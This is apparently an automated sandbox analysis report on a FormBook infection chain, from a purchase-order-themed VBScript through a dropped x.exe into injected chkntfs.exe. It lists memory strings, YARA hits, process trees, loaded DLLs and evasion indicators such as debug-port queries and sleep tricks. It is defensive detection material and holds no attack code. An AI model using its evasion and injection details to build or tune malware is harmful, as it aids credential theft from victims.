Source: chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://park.101datacenter.net/images/vendor-1/google_workspace.png
Source: chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://park.101datacenter.net/images/vendor-1/icon/101domain.ico
Source: chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://park.101datacenter.net/images/vendor-1/park-back.jpg
Source: JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://park.101datacenter.net/images/vendor-1/park-back.webp
Source: chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://park.101datacenter.net/images/vendor-1/trustpilot.svg
Source: chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://park.101datacenter.net/js/jquery-3.6.0.min.js?20241209054434
Source: chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://park.101datacenter.net/js/modernizr-webp.js?20241209054434
Source: chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://park.101datacenter.net/js/pricing.js?20241209054434
Source: chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.101domain.com/brand_services.htm?utm_campaign=parked-page&utm_medium=referral&utm_source
Source: chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.101domain.com/country_domain.htm?utm_campaign=parked-page&utm_medium=referral&utm_source
Source: chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.101domain.com/domain-availability-search.htm?utm_campaign=parked-page&utm_medium=referra
Source: chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.101domain.com/domain-registration.htm?utm_campaign=parked-page&utm_medium=referral&utm_s
Source: chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.101domain.com/domain_concierge_service.htm?query=waytoocool.life&utm_campaign=parked-pag
Source: chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.101domain.com/domain_monitoring_trademark_enforcement_guide.htm
Source: chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.101domain.com/external_links.htm
Source: chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.101domain.com/gmail_email_aliases.htm
Source: chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.101domain.com/google_workspace.htm?utm_campaign=parked-page&utm_medium=referral&utm_sour
Source: chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.101domain.com/new_gtld_extensions.htm?utm_campaign=parked-page&utm_medium=referral&utm_s
Source: chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.101domain.com/resource_center.htm
Source: chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.101domain.com/web_hosting.htm?utm_campaign=parked-page&utm_medium=referral&utm_source=wa
Source: chkntfs.exe, 00000006.00000002.3306929490.00000000075CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.financestrategists.com/founder-spotlight/best-corporate-domain-registrar-independent-101

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 00000006.00000002.3303203962.0000000002370000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2338722204.0000000001810000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3306103928.0000000005540000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2339680542.0000000001BC0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2338151410.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3304435992.0000000002710000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3304393430.00000000042B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3304322824.0000000004260000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

System Summary

.NET source code contains very large array initializations

Source: x.exe.0.dr, -Module-.cs

Large array initialization: _003CModule_003E: array initializer size 73616

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: WBEM Locator HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Management and Instrumentation HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: ADODB.Stream HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00000566-0000-0010-8000-00AA006D2EA4}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}	Jump to behavior

Source: PO1341489LTB GROUP.vbs

Initial sample: Strings found which are bigger than 50

Source: x.exe.0.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winVBS@9/3@8/6

Source: C:\Users\user\AppData\Local\Temp\x.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\x.exe.log

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO1341489LTB GROUP.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe"
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	Process created: C:\Windows\SysWOW64\chkntfs.exe "C:\Windows\SysWOW64\chkntfs.exe"
Source: C:\Windows\SysWOW64\chkntfs.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	Process created: C:\Windows\SysWOW64\chkntfs.exe "C:\Windows\SysWOW64\chkntfs.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msdart.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: ifsutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\chkntfs.exe	API/Special instruction interceptor: Address: 7FF8C88ED324
Source: C:\Windows\SysWOW64\chkntfs.exe	API/Special instruction interceptor: Address: 7FF8C88ED7E4
Source: C:\Windows\SysWOW64\chkntfs.exe	API/Special instruction interceptor: Address: 7FF8C88ED944
Source: C:\Windows\SysWOW64\chkntfs.exe	API/Special instruction interceptor: Address: 7FF8C88ED504
Source: C:\Windows\SysWOW64\chkntfs.exe	API/Special instruction interceptor: Address: 7FF8C88ED544
Source: C:\Windows\SysWOW64\chkntfs.exe	API/Special instruction interceptor: Address: 7FF8C88ED1E4
Source: C:\Windows\SysWOW64\chkntfs.exe	API/Special instruction interceptor: Address: 7FF8C88F0154
Source: C:\Windows\SysWOW64\chkntfs.exe	API/Special instruction interceptor: Address: 7FF8C88EDA44

Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 15B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 3180000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 5180000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 58B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 68B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 69E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 79E0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\SysWOW64\chkntfs.exe	Window / User API: threadDelayed 1525			Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Window / User API: threadDelayed 8447			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 5632	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe TID: 576	Thread sleep count: 1525 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe TID: 576	Thread sleep time: -3050000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe TID: 576	Thread sleep count: 8447 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe TID: 576	Thread sleep time: -16894000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe TID: 3712	Thread sleep time: -35000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\chkntfs.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\chkntfs.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	NtAllocateVirtualMemory: Direct from: 0x76EF48EC	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	NtQueryAttributesFile: Direct from: 0x76EF2E6C	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	NtQueryVolumeInformationFile: Direct from: 0x76EF2F2C	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	NtQuerySystemInformation: Direct from: 0x76EF48CC	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	NtOpenSection: Direct from: 0x76EF2E0C	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	NtDeviceIoControlFile: Direct from: 0x76EF2AEC	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	NtAllocateVirtualMemory: Direct from: 0x76EF2BEC	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	NtQueryInformationToken: Direct from: 0x76EF2CAC	Jump to behavior
Source: C:\Program Files (x86)\LpktEEEOouwnfKcOSvSCazLlTTqvDTCpPneaXBBgVQwbzBChAtHAvXhBTVIiYnTAfJpNSWGFzmOx\JogKDBeJAc.exe	NtCreateFile: Direct from: 0x76EF2FEC	Jump to behavior
